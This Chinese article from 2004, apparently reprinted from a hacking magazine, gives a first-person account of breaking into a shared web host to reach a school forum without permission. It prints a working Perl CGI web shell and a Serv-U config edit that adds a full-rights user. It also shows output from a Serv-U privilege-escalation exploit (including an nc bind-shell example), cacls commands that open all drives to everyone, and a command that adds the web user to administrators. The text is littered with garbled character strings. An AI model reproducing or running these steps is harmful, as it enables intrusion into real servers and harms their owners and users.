剑走偏锋——灵巧的旁注攻击 . s; J: E9 U0 O
本文作者:angel
8 P4 h# O3 n5 i6 _3 K文章性质:原创" ] ^3 @) ^2 a' d; U Z
发布日期:2004-11-09 % g* ~" V7 l1 u- b" S% Z5 G
注意:
c0 a7 A( j: Y6 z* y. W本文的技术并不是最新的,涉及到的技术含量也不是很多,重要的是其中的渗透思路。
X" L+ z! \2 K3 G4 f s; {本文已在《黑客X档案》11月刊发表,版权归本站及其杂志社所有。
A, T% r! C- G3 X
- M, R* K) }# _4 u- s. W 终于高中毕业了,一定要在暑假努力学习,发奋学习,以前入侵少之又少,都是研究这样研究那样,实战经验太欠缺了,所以决定暑假恶补一下渗透技术,顺便又可以看看国内主机的安全性。暑假 6 月整整学习了一个月的渗透,从 xiaolu 身上学习到不少好的思路和经验。在此谢谢 xiaolu 了。
/ k) u! S: T3 ]5 G c6 i$ n
! h; g0 {- W& j, e0 }1 F1 V 一个多月的时间里,渗透过上百台服务器,有独立的,有虚拟主机的,有群组的,有国内和国外,我发现一个极其严重的问题,国外的服务器,普遍安全性都非常高,管理员的安全意识非常高,做个比例,如果国内平均每 10 台服务器,能渗透进去 6 台甚至更多,那国外、台湾的,平均每 10 台服务器仅仅能渗透 1 台。当然我的水平也是一个问题。可是却反映出国内的管理员的水平的的确确比国外的要差几个档次。国内的管理员的技术和意识,迫切需要大幅度提高。 5 y4 _, W, _/ j3 D" W' w! e
$ o) N0 _ p' y. |" l, s1 A; W; C
不过国内的也有比较 BT 的管理员,我就遇见几个服务器设置得非常。其中一个的 Documents and Settings 目录下还有 nsfocus 目录,难道是 nsfocus 公司帮做的安全?这个服务器我们没有拿下,还有另外一个,就是今天的重点。 # R9 @( A5 I5 |5 P
, q6 N: C6 { n w5 k 一次看见了一个学校论坛(http://www.school.com),还蛮火爆的,顿时兴趣来了, ping 了一下,发现 4 个包都返回 Request timed out. 估计是搞了策略或者防火墙的,象我这种以 Web 安全的,自然喜欢从站点上找漏洞,自从学习 Web 开始,我就落下一个怪癖,就是如果实在从 Web 上找不到什么漏洞,宁愿放弃也不用什么漏洞扫描器。 . w: n* P5 z$ S- D9 |% r6 p8 o
9 S8 r8 ~1 s" z7 z+ D1 M! ?, b 大概看了看站点。就是一个论坛,采用 LeadBBS ,拿这个论坛没辙,还有其他办法,因为刚才我访问这个 IP ,返回“No web site is configured at this address.”,初步判断是虚拟主机,前段时间那几个黑站狂黑站的成功几率为什么这么高?因为有 http://whois.webhosting.info 这个网站,可以查询一个 IP 上,绑定了多少个域名。如果真的是虚拟主机,这个学校论坛没有漏洞,不代表其他站点就没有,很快的,我就通过一个小公司站点( http://anyhost/ )上的 DVBBS 6.0 传了一个 aspshell 上去,谁知道仅仅能够对自己的目录进行操作。而且自己的目录没有执行程序的权限,又用不了 Nfso ,手工跳转 URL 中的目录,也没有多少个可以浏览的,重要的 Program Files 和 Documents and Settings 目录都看不了,从 aspshell 反馈的信息来看,每个站点都设置了单独的用户,似乎一切都陷入僵局。 5 W3 B% I' o: q
! P- M* L. C4 ^
没有目的的跳转目录着…… 6 Y, `! r6 Q- m% ?; Z4 C( N
- ]! ^; `4 q* K) T4 e' @7 U
我习惯性的在 URL 跳转到 c:\php,没想到居然可以看见了,那这个主机很可能就会支持 php 了,马上传了一个 phpspy 上去,非常幸运,顺利看到了登陆入口,可是没想到进入以后才发现,php.ini 亦设置得异常 BT,安全模式打开了, phpinfo 函数也被禁用了,看不了详细的系统信息,不过看 phpspy 自带的探针可以发现,allow_url_fopen、display_errors、 register_globals 统统关闭,system、passthru、exec、shell_exec 几个函数都无一幸免的被禁用了,直接跳转目录还是只可以看到这些目录而已,各个站点的目录都是类似于 “D:\websites\school.com#dlfjurdlkfjk” 这样的,每个站点目录后面的那些字符串都不一样,也跳转不到,后来我猜测后面的字符串就是 ftp 密码,试验了一下,无法登陆,看似柳暗花明,希望又破灭了……
( Y) [6 V( F ]( H1 r4 f5 N& T% T" ?' D4 ?- E/ c
结束了吗?不,我试着 FTP 一下:
% s: s& N9 B( Y2 s1 h. y1 @; ?9 ]6 Y* k7 ?7 [3 U' Y' H
Microsoft Windows 2000 [Version 5.00.2195]
2 G6 l8 H$ P2 A0 p1 G$ m(C) 版权所有 1985-2000 Microsoft Corp.
$ \' q: m8 `/ Q- y9 O
2 B- O5 L4 }9 U- \C:\Documents and Settings\Administrator>ftp www.school.com
, v; {# u, k& r2 _$ y/ C QConnected to www. school.com.
5 P8 i, Z: P9 o4 u% d, M220 Welcome to FTP Server... # K: }$ f. h( T9 E/ k8 U7 H7 r
User (www.bjtrq.com:(none)): : w6 ^% P7 }% O/ o; ~1 Y3 e
331 User name okay, need password.
- n' M4 l% ~/ M1 c: l: T' x" LPassword:
3 R7 q$ C9 s1 Z0 E0 F6 P4 M y; P530 Not logged in. % k4 q! h: S9 @; P* E) |" M; B
Login failed. # ~1 Y, F3 q7 o9 z- c
ftp> bye
3 X2 J1 p: a6 s5 K2 @2 e2 ^# B- l221 Goodbye! & `7 p6 B1 |1 S% V
1 C F1 u+ }9 B; r6 y# `. u
' n0 q5 K2 V0 }9 j( o+ p 从返回的信息判断,我们还是有希望的。尽管他修改了 FTP Server 的 Banner,但是从 User name okay, need password. 这句我们还是大胆的判断这个服务器就是采用 Serv-U ,我上手有目前所有版本 Serv-U 本地提升权限的 Exploit ,如果我能传一个上去,并且能够执行,一切就明朗了。再仔细想想有哪个目录可以写的?当时在 c:\php 目录下没有发现 sessiondata 目录,而且也不是自动安装版,估计管理员把 session 的目录换到其他地方了,不然这个目录是 everyone 可写的…… 8 c0 z" [: {% S
# ~( @2 ]* o2 u0 k6 A B 原来我还忘记了一个最重要的目录, C:\Documents and Settings\All Users ,从这个目录可以知道很多信息,这个目录一般、至少都是 everyone 可读的,这样我们就可以知道好多有用的信息了,直接通过我的 aspshell 手工跳转到这个目录,呵呵。马上看到了想看的目录树。 0 U9 d8 B8 c8 ^! v- f4 a
. E; g; R$ \3 l) Y' f0 k( mApplication Data
; v3 t/ A# F' L$ v* \1 ~Documents9 r# i( B8 V" M. @( f6 [
DRM0 B1 b0 e. p* s, s
Favorites
4 [0 b. n* `' y( @4 a& mTemplates
) X3 H4 g- b3 @; M; o5 c! X; d「开始」菜单
4 |* o, M1 W5 P/ E% i R: |- k桌面( v l1 @ o \# e3 ]; E
6 X- P F& t6 e: x! w1 ?( |. k& J* J$ u9 O- w9 r! N
马上试试建目录,可惜里面的目录包括子目录都无法新建, BT 管理员权限设置得还真严格,不过我们还是有收获的,那就是 “C:\Documents and Settings\All Users\ 「开始」菜单 \ 程序 \”目录里,看到了很多决定结果的有用信息, . x6 |9 P, c, q! @: J' W2 z r
: @! M% P r" _8 \' E6 Q f& o* L
ActiveState ActivePerl 5.8# i7 }1 L9 O" m! w
Administrative Tools0 j) V9 Z' B0 @% m
Deerfield.com& o! Y7 s! L1 H9 p" c2 T: B/ i0 P4 p
DTemp9 N" o! T( u6 L
IPSentry
* R* K7 F1 N3 D a3 eMBM 5
* Y( y+ X( j2 U# X4 y1 c/ A+ i" U5 HNetMeter. h2 D' f, K& p, ~) R
Network ICE
' C D) Y7 @4 p# |$ e1 X/ S8 n' E6 sPersits Software AspEmail$ I9 f3 ?4 e! z% I# `
Persits Software AspJpeg4 c5 x5 R2 f) G b
Serv-U FTP Server
4 D9 P# K' @- d! M' WSymantec Client Security* J; S' j p3 j
Windows 优化大师4 O/ P, T; [9 R5 a
WinRAR
4 V: g3 K% M$ W/ W. u启动
j9 ~' Q- R! g! @) D管理工具
' [7 a, [) a R; w& f; X附件
- @- s( {# `* h1 E , n& V0 o7 W6 }
( ^9 y8 B2 S) k/ a 呵呵,现在我们知道了好多有用的信息了,看着这些东西,可以看得出管理员对安全、效率很在意,装了 Perl,也就是说可能支持 cgi 了, IPSentry 这个可以实时检测网站的各类服务, 当某服务停止时, 该软件会打 Pager, 或 EMAIL,或发声,或运行其它软件来提醒管理员,确保服务器出现问题能及时处理,说明管理员比较负责任,NetMeter 可以对网络流量进行监控,装了黑冰防火墙和诺顿杀毒服务器版,说明管理员对于服务器的安全是很小心的,这还不算,还装了另外一个防火墙——VisNetic Firewall,真是 BT 到家了,装了优化大师,看得出这个管理员还是比较爱清洁的。从管理工具里面我们还看到了终端服务客户端生成器.lnk 、终端服务配置.lnk ,还有终端服务,这下好了,说不定顺利就可以多一台 3389 肉鸡了。
9 N& Y, o. b; a+ r
8 r7 ]' `7 B- d# a 先通过 aspshell 下载 Serv-U 的任意一个快捷方式,然后本地查看属性的目标,呵呵,原来 Serv-U 的目录是 "C:\Program Filesewfq4qrqtgy4635\Serv-U\" ,这下好了,直接跳转目录。OH~,yes~~,看到了,马上修改 ServUDaemon.ini文件,这个服务器居然放了 280 个用户,狂晕……不管了,先在添加 [Domain1] 里加一行:
! t- f' m# G3 r) |7 Q. S! q
/ ~3 k Z) w# ^) h$ iUser281=angel|1|0
. J' e9 @$ W- b# G) d3 A' c 3 }; h0 K, y7 v: }9 o
( A9 y k8 n. T& C: }
然后加上
+ v9 O2 W- D% x a1 X# K! a4 N6 g9 f! s" I* e `
[USER=angel|1], L' P; s0 P/ I/ A# s' o
Password=ng98F85379EA68DBF97BAADCA99B69B805+ e) T" ?% L/ W; M" A
HomeDir=D:\websites I# A# x8 \5 B8 J* @
RelPaths=1
6 P/ h: G* R1 L) _! y+ Q4 _TimeOut=600
+ x% V, y! z* v' y3 A7 uMaintenance=System O2 z) G8 W% X7 o" n1 }
Access1=D:\websites|RWAMELCDP6 Y8 f4 r/ G( U0 Y, c6 K
SKEYValues=3 A7 U+ o% \8 D7 a7 W
5 R5 s- r6 [0 M8 K
5 ~/ o0 C- r# b \5 ~8 {6 t
添加一个 angel,密码为 111111 的用户,具有最高权限执行,然后我们就可以 ftp 上去 quote site exec xxxxxxxx 了,嘻嘻偷笑中……
. c3 I$ k1 y* S! e8 L+ c8 v( x5 Q5 `9 f+ N. _7 v' }
不过残酷现实再一次粉碎了我的计划,修改好文件以后提交,居然是没有修改成功,看来还是权限,权限权限整惨人啊。 ) P j" m( R; S' U1 N: v" A* _
! k& c5 i! t8 j! I! E
不过还是有希望的,因为刚才我们看到了系统装了黑冰,有些版本存在“ISS RealSecure/BlackICE 协议分析模块 SMB 解析堆溢出漏洞”,可以远程利用的,手头上没有编译器,没有办法编译代码。 3 s: D# {, S. G& x
, P# Y8 E9 \. V 还有就是 Perl,这个是个很大的突破口,因为 Perl 目录一般要 erveryone 完全控制的,不管他用 isap 还是 perl.exe 一般都是可写、可执行的,马上下载 Perl 的快捷方式来看看路径,呵呵,看到了,原来 D:\user\bin 就是存放 perl 的 bin 目录下的所有文件,这么说这个目录可能可以写,也可能可以执行咯,马上传一个 su.exe(针对目前所有版本的 Serv-U 本地提升权限漏洞)上去,呵呵,传上去了,太好了,现在就是执行了,刚才我们试了 aspshell、phpshell 都不行,现在就看最后的希望了,找呀找啊,终于在我硬盘上找到一个 cgishell,很老了,文件日期是 2002 年 6 月 30 日的,代码如下:
F) S E* s+ u |
% ]' ^# r! ]! ~* u0 w) I#!/usr/bin/perl5 o. ^0 d% o" ?7 h+ a
binmode(STDOUT);! C; S) T. n% B
syswrite(STDOUT, "Content-type: text/html\r\n\r\n", 27);
7 A! A, j0 Y; p$_ = $ENV{QUERY_STRING};
4 g1 ]+ n% U- H, O/ i" m5 h' Ks/%20/ /ig;
+ p2 F' s r0 N' q% k, m+ }s/%2f/\//ig;
7 V6 F" |- E6 K! Y: l7 M" Z$execthis = $_;
( l& z1 {6 _$ M! Qsyswrite(STDOUT, "<HTML><PRE>\r\n", 13);
0 s: l2 `& T' z6 A* m. c4 Copen(STDERR, ">&STDOUT") || die "Can't redirect STDERR";
9 Z8 i1 ~; E" i/ k6 U1 Ksystem($execthis);, m: a% Z6 ]# ]" `: |
syswrite(STDOUT, "\r\n</PRE></HTML>\r\n", 17);. `# U' n+ P; G/ I$ L
close(STDERR);8 j$ ]2 p6 j! r W" u5 Y
close(STDOUT);' @$ B8 b; H8 i$ ~+ V/ A
exit;, O1 o$ t5 d( t) @* p; E
l% {$ ~* h) _8 [
( t: H2 M! a1 t5 e- ^
我用过最好的 cgishell ,保存为一个 cgi 文件执行,晕……居然不支持!一阵阵郁闷袭来,2 秒钟的郁闷后,想到还有一线希望,那就是pl ,我们还没有试试 pl 扩展呢,把刚才的 cgi 文件改为 pl 文件,提交 http://anyhost//cmd.pl?dir ,我的天啊!! 7 z' [0 q1 S- f* ~$ M
. P- r7 W; [, f
显示“拒绝访问”,终于可以执行了!太兴奋了,马上提交: 0 h6 n7 c2 J; L6 L( Q
2 K! E* Z- k# J
http://anyhost//cmd.pl?d:\user\bin\su.exe 2 E# I- _) t% Q7 v
6 Q9 B# N2 r4 ^5 s; P' a8 w2 J' B, a# S N# v( R
返回:
" ~4 _3 n4 X1 u1 U3 Z
' V# M- \5 r3 W$ w5 FServ-u >3.x Local Exploit by xiaolu " g: S# Q' w" a7 M6 W
- r! ^- ~" O: ~0 rUSAGE: serv-u.exe "command" ; X! _& T1 Q9 }, u& @0 ~
7 t f' P1 `$ ?' fExample: serv-u.exe "nc.exe -l -p 99 -e cmd.exe"
* I! {% @& N% k' _
+ j$ q2 V5 @/ p# d6 M
6 k. r$ N- Z! w 嘻嘻~~现在是 IUSR 权限,那又怎么样?看你这次还不死?提交: : D% d% K( p) W1 f2 _
2 k# A/ _0 C" U$ j# o
http://anyhost//cmd.pl?d:\user\bin\su.exe "cacls.exe c: /E /T /G everyone:F"
' j p" O6 c$ s+ x- v6 I- o; H& }1 \4 x" c5 e5 o. {
http://anyhost//cmd.pl?d:\user\bin\su.exe "cacls.exe d: /E /T /G everyone:F"
9 n5 E" S1 Y( ^$ y7 i: h$ ?
" h. T. N$ f1 b' V4 T9 Q/ D2 N: `* H9 o) Fhttp://anyhost//cmd.pl?d:\user\bin\su.exe "cacls.exe e: /E /T /G everyone:F" & y) I1 N* Z( P8 X& I
. A% h' O1 a( I# q+ F0 n/ s
http://anyhost//cmd.pl?d:\user\bin\su.exe "cacls.exe f: /E /T /G everyone:F"
2 n5 t/ j- Z/ q6 v" w
$ _+ O: N) ^+ W. F( l! z
. l; e3 u9 @* m) N& g- q 返回下面的信息,就表示成功了!!! ! h* o$ q! N5 V& O" Z
- Z8 a6 V0 }9 e- EServ-u >3.x Local Exploit by xiaolu & u) y1 y0 o- G
$ E* ^( R& Q) h
<220 Serv-U FTP Server v5.2 for WinSock ready...
- U% ]. K( z# z0 o2 ]
. n2 s, U7 p+ k>USER LocalAdministrator 5 A9 f1 Z9 z: p" F# t9 e' \
$ _/ T1 b0 K7 S" r- p2 K/ O1 v
<331 User name okay, need password.
* s% Q3 v7 I6 Q. Z' R$ k+ G. C& u1 ]/ ?7 p5 r2 ?+ r" s
******************************************************
1 e" U9 `' O' B: O- U4 h- H- o. b% E+ t# I8 X
>PASS #l@$ak#.lk;0@P 2 l) |5 @ P" l% W% |
9 Q) W2 I$ V& ^
<230 User logged in, proceed. " M/ O* Q+ r6 J# G1 J
# v0 J# V' Q1 O/ F, w4 a& m8 e0 I
******************************************************
+ ?% R8 {' r! V2 z( h3 c
; b9 Q; o0 w$ B>SITE MAINTENANCE 4 D. h% n3 r: Q; E4 a8 j# ~6 M6 K
! `; \1 |2 L9 q* _
****************************************************** 0 I6 S' z# X# L( H$ W9 T: w- ^
) i& V: V+ s9 M! r8 o[+] Creating New Domain...
+ I) t3 i( ~# r/ ~" [* h! h8 f3 L0 C: j7 s' ?+ s
<200-DomainID=2
* u5 t3 Q! O! |1 z) ]$ w# c1 H4 D5 N. u9 U& {* Z: O2 [
<220 Domain settings saved
2 s6 A9 i# t8 l
2 Q+ [+ C8 w+ X |$ c******************************************************
9 e% @0 v9 D0 T0 i4 m: m; c$ t+ k! J8 N5 N8 o
[+] Domain xl:2 Created 0 W! [( f( r- k! r& l
3 f9 \4 c' z7 a% G9 s4 t
[+] Creating Evil User
/ w* ^9 c; M- X! J" y7 h* d8 I( y
9 F9 d5 V& I1 j( J1 y* ~! }9 c<200-User=xl
4 k! Z) Q, e9 y8 @1 ~
$ n6 }% L& f/ q, `" x' z200 User settings saved 1 ^4 [) Z, Q" U, G/ Q8 y) o6 n
" ?- `# C! C) o* T2 H( f+ n
******************************************************
) |, V! {& a9 f. Y2 c' v c
o; T- J! F B0 }) I: W1 n! v[+] Now Exploiting... ! `9 I8 K; u3 h+ y
. y. q K4 I- v& ~>USER xl
* K$ {; K0 P$ ?* t0 w% w$ F$ L0 k% A7 w, f1 k8 T3 B# u
<331 User name okay, need password.
6 p R. `& G8 `# z
9 a/ Y3 g5 a$ _% t# c******************************************************
* K3 r( z# `. s7 c2 e# k5 j
3 [$ U8 F- V% U' i& D) ^>PASS 111111 * `* @* B& V6 }. V
& q# D9 ], p* `, a4 ^: f" S u4 b
<230 User logged in, proceed.
5 y: ` B% T& S- A+ W( d
y {& z. b) ` D****************************************************** ! `; v5 A0 G, u Y5 B
# n$ G; M3 G) t9 Q8 f. u# d) t# J" d
[+] Now Executing: cacls.exe c: /E /T /G everyone:F p" `) n& |9 Z
: o7 B6 Y( J6 Y5 K<220 Domain deleted
0 X+ k7 y; b( k% T: j# a, T8 k$ D( a6 s
****************************************************** " P' t$ k9 u; m8 y
: ^0 N" X0 W% |9 g2 B7 f& Y
' A* d" ?6 ?. P& T6 g! S4 W3 X. R 每提交完一次都稍微等一下,因为这些命令需要时间处理的,不一会儿,就把所有分区设置为 everyone 完全控制了,可以任意操作硬盘的东西了,但是有些命令还是受了限制,因为权限还没有提升,现在我们把自己的用户提升为管理员: ) S; v: z. G+ o9 P4 Z
% l" t( y. |# u6 S
http://anyhost//cmd.pl?d:\user\bin\su.exe " net localgroup administrators IUSR_anyhost /add" 5 ?/ ^; v8 F: \3 n, V9 V1 q1 F
7 n' z, V! `5 {, ~" c
% a; |8 \7 c; }% x- z8 L
现在我们通过 web 方式,执行的命令就是以 administrator 的身份执行的了,相信到这里,下面的事该做什么,大家应该知道了吧?马上找到那个学校的目录,进去咯~~目的达到了,本来还想做一个 3389 的肉鸡的,想想算了,这种 BT 管理员的地盘,我也占领不了多久,留点提示到他的桌面就 over 了。
; g: }( I) @& ]) F/ X9 f8 `# k2 N* g! l$ Z3 b6 n2 j
说真的,搞安全这么久,从来没有遇见这么棘手的虚拟主机,要不是装了 Perl,还真是束手无策!本文技术含量不高,只是分享一下希望其中的思路,如果有一个人从中受益,这篇文章就完成它的使命了。3 G) ^ _8 T8 ?3 p# d4 |0 i
$ d" M; h1 Y& B' n S
% Q; Z+ D( f+ P3 Z( k |